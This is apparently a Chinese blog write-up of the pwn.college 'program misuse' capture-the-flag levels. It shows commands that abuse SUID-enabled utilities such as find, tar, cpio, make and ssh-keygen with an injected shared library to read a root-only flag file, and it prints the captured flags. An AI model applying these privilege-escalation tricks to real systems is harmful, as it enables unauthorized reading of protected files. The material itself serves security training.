pwn college 刷题记录:fundamental-program misuse

本文最后更新于:2024年3月7日 晚上

总结

在做完本节后,你将会:

通过YouTube视频和slides的方式,讲解了

  • linux命令行
  • 文件、进程
  • 软硬链接、管道
  • suid的基本原理
  • suid攻击的缓解措施

mitigation

  • eUID(Effective User ID):表示正在执行命令的进程的有效用户ID。
  • rUID(Real User ID):表示正在执行命令的进程的真实用户ID。

在这种情况下,如果/bin/sh被设置为SUID权限(suid标志被设置,即eUID为0但rUID不为0),它将降低权限到rUID。也就是说,eUID将被设置为rUID的值,而rUID不为0。

为了禁用这种行为,可以使用sh -p命令来执行/bin/sh-p选项将使/bin/sh保持SUID权限,而不会降低为rUID。

Program Misuse

环境配置

  • 题目在dojos里面
  • workspace提供一个容器内的vscode

通过执行提供的/challenge/babysuid程序,我们可以将某一命令设置为setuid程序(尽管它之前不是)。比如,在level1中,在你运行/challenge/babysuid程序后,就会将cat设置为setuid程序(每个官卡将不同的二进制文件设置为setuid程序),这样的话你在运行cat的时候会得到root的权限,从而得到/flag的内容

我们可以把babysuid程序放到ida看一下,它本质上是执行了chmod函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
printf("Welcome to %s!\n\n", *argv);
puts("This challenge is part of a series of programs that");
puts("exposes you to very simple programs that let you directly read the flag.");
if ( chmod("/usr/bin/head", 04755u) )
__assert_fail("chmod(\"/usr/bin/head\", 04755) == 0", "<stdin>", 0xDu, "main");
puts(byte_20DB);
puts("I just set the SUID bit on /usr/bin/head.");
puts("Try to use it to read the flag!");
puts(byte_20DB);
printf(
"IMPORTANT: make sure to run me (%s) every time that you restart\n"
"this challenge container to make sure that I set the SUID bit on /usr/bin/head!\n",
*argv);
return 0;
}

  • emacs的退出命令:c-x,c-c
  • od(octal dump)
  • hd(hex dump)
  • xxd

level6

sort将文件的每一行作为一个单位,相互比较,比较原则是从首字符向后,依次按ASCII码值进行比较,最后将他们按升序输出

由于flag只有一行,因此直接sort即可

level7

1
rev /flag | rev

level14

base64同理

1
2
base32 /flag | base32 -d 
pwn.college{gxSMD4Ps0hot1Rq1Zs1MNCY9f51.0lN1EDL1cTMzEzW}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ tldr base32
base32
Encode or decode file or standard input to/from Base32, to standard output.More information: https://www.gnu.org/software/coreutils/base32.

- Encode a file:
base32 {{path/to/file}}

- Decode a file:
base32 --decode {{path/to/file}}

- Encode from stdin:
{{somecommand}} | base32

- Decode from stdin:
{{somecommand}} | base32 --decode

level15

1
2
- Split a file with at most 512 bytes in each split without breaking lines:
split -C {{512}} {{path/to/file}}
1
2
3
4
5
6
7
8
9
10
11
12
hacker@program-misuse-level-16:~$ /challenge/babysuid_level16 
Welcome to /challenge/babysuid_level16!

This challenge is part of a series of programs that
require you to understand their output to derive the flag from it.

I just set the SUID bit on /usr/bin/split.
Try to use it to read the flag!

IMPORTANT: make sure to run me (/challenge/babysuid_level16) every time that you restart
this challenge container to make sure that I set the SUID bit on /usr/bin/split!
hacker@program-misuse-level-16:~$ split -C 512 /flag

level16

1
2
3
hacker@program-misuse-level-17:~$ gzip /flag
hacker@program-misuse-level-17:~$ gzip -dc /flag.gz
pwn.college{MFi6oRehJ1enJ9G4u13CwY2kTwP.0VO1EDL1cTMzEzW}

level18

1
2
3
4
5
6
7
8
9
bzip2
A block-sorting file compressor.More information: https://manned.org/bzip2.

- Compress a file:
bzip2 {{path/to/file_to_compress}}

- Decompress a file:
bzip2 -d {{path/to/compressed_file.bz2}}

1
2
3
4
5
hacker@program-misuse-level-18:~$ bzip /flag 
bash: bzip: command not found

hacker@program-misuse-level-18:~$ bzip2 -dc /flag.bz2
pwn.college{wyRCyHmThng7Pg1OX4z4RJWuuyx.0FM2EDL1cTMzEzW}

level19

1
2
3
4
5
hacker@program-misuse-level-19:~$ zip /flag.zip /flag
adding: flag (stored 0%)

hacker@program-misuse-level-19:~$ unzip -p /flag.zip
pwn.college{0R4OhQA-x_5UMN8sAflvCz6oY_2.0VM2EDL1cTMzEzW}

level20

1
2
3
4
5
hacker@program-misuse-level-20:~$ tar cf  flag.tar /flag 
tar: Removing leading `/' from member names

hacker@program-misuse-level-20:~$ tar -Oxf /flag.tar
pwn.college{0wrGqibZPayLku_gULJTTouTS-v.0lM2EDL1cTMzEzW}

level21

1
2
3
4
5
6
hacker@program-misuse-level-21:~$ ar rc /flag.a /flag

hacker@program-misuse-level-21:~$ cat /flag.a
!<arch>
flag/ 0 0 0 644 57 `
pwn.college{E9WpzjytNHsOVvNqE00EOhYj8_e.01M2EDL1cTMzEzW}

level22

1
2
3
4
5
6
7
 - Take a list of file names from standard input and add them [o]nto an archive in cpio's binary format:
echo "{{file1}} {{file2}} {{file3}}" | cpio -o

hacker@program-misuse-level-22:~$ echo "/flag" | cpio -o
�qAL�Kd �9/flagpwn.college{YgoO6RpYImK7IRO7shIK4vqtlfS.0FN2EDL1cTMzEzW}
�q
TRAILER!!!1 block

level23

1
2
3
$ genisoimage -sort "/flag"
genisoimage: Incorrect sort file format
pwn.college{kzc9UQAHvuDmIhGmMDx8FFy7s_Z.0VN2EDL1cTMzEzW}

level24

env 命令可以用于在执行命令或脚本时设置环境变量。当使用 env 命令时,它会将其参数作为命令或脚本的参数,并在执行该命令或脚本时设置环境变量。

如果将 env 命令与可执行程序一起使用,则该程序的参数将作为 env 命令的参数,并且 env 命令将设置环境变量并运行该程序。例如,假设有一个名为 myprogram 的可执行文件,并且需要在运行该程序时设置环境变量 MYVAR 的值为 myvalue,可以像这样使用 env 命令:

1
env MYVAR=myvalue ./myprogram

这将在运行 myprogram 时设置环境变量 MYVAR 的值为 myvalue./myprogram 表示在当前目录中查找 myprogram 可执行文件。

1
2
3
4
5
6
7
hacker@program-misuse-level-24:~$ vim 1.c 
hacker@program-misuse-level-24:~$ gcc 1.c -o readflag
hacker@program-misuse-level-24:~$ chmod +s readflag
hacker@program-misuse-level-24:~$ ll readflag
-rwsr-sr-x 1 hacker hacker 16736 Apr 28 12:27 readflag*
hacker@program-misuse-level-24:~$ env ./readflag
pwn.college{AzBwMP3gKlrGD07PGsT5K-08ZIQ.0lN2EDL1cTMzEzW}

level25

1
2
3
4
5
hacker@program-misuse-level-25:~$ /usr/bin/find / -name flag -exec cat {} \;
cat: /opt/radare2/libr/flag: Is a directory
cat: /usr/local/share/radare2/5.8.4/flag: Is a directory
cat: /usr/local/lib/python3.8/dist-packages/pwnlib/flag: Is a directory
pwn.college{QFEr6tID0OyL1c-PbyhlCdh4gCj.01N2EDL1cTMzEzW}

level26

1
2
3
4
5
6
7
$ cat Makefile 
read_flag:
cat /flag

$ make read_flag
cat /flag
pwn.college{MG-nUq6j7A43o21RPF_4o7wfED8.0FO2EDL1cTMzEzW}

level-51

ssh-keygen -D选项可以加载指定的动态链接库

1
ssh-keygen -D ./lib_inje.so

我们需要编译出一个动态链接库,其中的函数需要加上__attribute__((constructor))关键字,这样的话,加载库的时候就会自动运行该函数,从而获取setuid的值

当将__attribute__((constructor))属性应用于某个函数时,该函数将在main()函数之前自动调用执行,该函数可以用来进行一些初始化的工作或设置等。这个特性通常用于实现在程序运行时自动初始化某些特定的对象或变量等。__attribute__((constructor))属性可以用于C和C++语言中,但是它并不属于标准C/C++,仅仅是GCC编译器的一个扩展特性

1
2
3
4
5
6
7
8
#include<stdio.h>
#include<stdlib.h>
static void fun() __attribute__((constructor));
void fun(){
//ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
//int open(const char *pathname, int flags);
sendfile(1,open("/flag",0),0,4096);
}

pwn college 刷题记录:fundamental-program misuse
http://gls.show/p/7b0851b2/
作者
郭佳明
发布于
2024年3月7日
许可协议